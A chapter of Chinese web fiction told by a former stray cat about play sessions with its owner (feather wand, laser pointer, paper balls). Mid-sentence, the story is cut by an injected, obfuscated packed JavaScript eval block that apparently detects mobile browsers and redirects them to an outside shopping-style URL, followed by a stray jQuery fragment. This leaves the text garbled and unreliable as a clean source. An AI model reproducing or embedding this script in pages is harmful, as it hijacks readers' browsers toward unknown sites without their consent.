信任建立之后，一种新的、更加轻松明亮的东西，开始在我们之间流淌。它叫做“游戏”。
在此之前，我们的互动大多围绕着生存基础（喂食）和情感慰藉（抚摸、陪伴）。
但游戏，它不为了任何实际目的。
它纯粹是为了“乐趣”，为了释放能量，为了享受彼此互动中那种活泼的、充满不确定性的快乐。
游戏的媒介，最初是一根羽毛逗猫棒。
一根细长的杆子，顶端系着几根色彩鲜艳的羽毛（在我眼里，那是会动的、长着奇怪毛发的迷你生物）。他第一次把它拿出来，在我面前晃动时，我的狩猎本能瞬间被点燃。羽毛轻盈、飘忽、不可预测的轨迹，完美地模拟了飞鸟或昆虫。我的眼睛瞪得滚圆，瞳孔放大，身体伏低，尾巴尖兴奋地颤动。
“芝麻，看这里！”他晃动着逗猫棒，羽毛在空中划出诱人的弧线。
我扑了出去！爪子伸向那飘忽的目标，却总在最后一刻被它灵巧地避开。他控制着杆子，让羽毛时而高飞，时而低掠，时而急速后退，时而在我爪边挑衅般轻点地面。我追逐、跳跃、扭身、空中转身，做出各种高难度（自认为）的捕猎动作。客厅成了我的狩猎场，沙发、茶几、地毯是障碍也是跳板。
“哈！”我有时会发出兴奋的喷气声，全力冲刺，然后“咚”地撞在沙发上（羽毛狡猾地从边缘溜走）。或者高高跃起，试图拍打空中悬停的羽毛，却因为计算失误而摔个四脚朝天，肚皮朝上，羽毛趁机在我鼻尖扫过。
“笨猫。”他会低笑，声音里带着明显的愉悦。然后继续晃动逗猫棒，给我“复仇”的机会。
游戏的高潮，通常是我终于用爪子牢牢按住那可恶的羽毛，用牙齿轻轻咬住（不是真咬，是捕获成功的仪式感），喉咙里发出胜利的、低沉的咕噜声。
他会停下来，任由我“处置”我的战利品几秒钟，然后用杆子轻轻拉扯。“还给我吗？”他会问。我会用爪子抱着羽毛打几个滚，才心满意足地松开，等待下一轮开始。
这种游戏让我理解了什么叫做“共同玩耍”。他不是在训练我（虽然客观上锻炼了我的反应），也不是在单纯逗弄我取乐（虽然他确实笑了）。
他是在参与，在互动，在和我一起创造一段充满动感和欢笑的时光。
他控制着节奏和难度，让我既能感受到挑战的刺激，又不至于一直受挫。当我成功“捕获”时，他会流露出赞许；当我做出滑稽动作时，他会开怀大笑。
他的笑声，是一种我很少听到的声音。不同于他平时平稳的语调或深夜的叹息，那是明亮的、短促的、从胸腔里迸发出来的声音，像阳光突然穿透云层。
每次听到他笑，我都会感到一种奇异的、与有荣焉的快乐，玩得更起劲了。
除了羽毛逗猫棒，我们还开发了其他游戏。
比如激光笔——那个小小的、会在地板和墙上投射出一个elusive红点的神奇装置。红点的移动更快，更难以捉摸，完全无法被“捕获”，这让我既着迷又有点挫败。我会疯狂地追逐那个光点，爪子拍在墙上发出“啪啪”声，或者滑过光滑的地板刹不住车。
他知道不能直射我的眼睛，总是让红点在不远处跳跃、拐弯、消失又出现，玩一阵就会停掉，避免我过于沮丧或疲劳。
还有最简单的：揉成一团的废纸。他扔出去，我像箭一样冲过去，用爪子拨弄、拍打、叼着满屋子跑，最后可能把它塞到某个家具底下。他会看着我折腾，有时会再做一个纸团扔过来。
游戏时间通常在他下班后、晚餐前，或者周末的白天。
这成了我们日常生活
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17420541|200829||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
里一个固定的、欢快的插曲。它会消耗我过剩的精力（让我晚上睡得更好），也显然让他从一天的工作疲惫或内心的凝滞中暂时解脱出来。
游戏时，他身上那股微苦的根茎气味几乎闻不到了，取而代之的是一种活跃的、阳光晒过似的温暖气息。
我也在游戏中学习。学习控制扑击的力度（不能真的抓伤他或弄坏家具），学习理解他的一些简单手势和声音指令（比如“这边”、“跳”），更重要的是，学习享受这种毫无功利目的的、纯粹的快乐联结。
游戏巩固了我们的信任。在追逐扑咬中，我完全沉浸在本能的释放中，毫无防备。
而他，永远控制着局面，确保游戏安全有趣，永远不会真的让我受伤或受惊。这是一种更深层次的默契。
有时，玩累了，我会瘫在他脚边，大口喘气，他则会蹲下来，挠挠我的下巴，说：“玩够了？”我会用头蹭蹭他的手作为回应。
游戏的时间，像一颗颗闪亮的糖果，点缀在我们日常平缓的河流中。它让“家”这个概念，不仅仅意味着温暖和安全，还增添了“欢笑”和“活力”的色彩。
我意识到，这个安静的两脚兽，不仅仅会提供食物和温柔的抚摸，不仅仅会在深夜需要安静的陪伴。他也会笑，会玩，会为了看我追逐一个羽毛团而眼睛发亮。
而我，这只曾经的流浪猫，也学会了除了觅食、警戒和休息之外的，第四种重要的生存（或者说，生活）技能：玩耍。以及，在玩耍中，与另一个生命共享喜悦。
当羽毛在空中划过，当红点在地板上跳跃，当他爽朗的笑声在房间里回荡时，我感到一种前所未有的、轻盈的快乐。
那是信任开出的花，是安全感结出的果。
是我们共同建造的、这个小小宇宙里，最动听的一段旋律。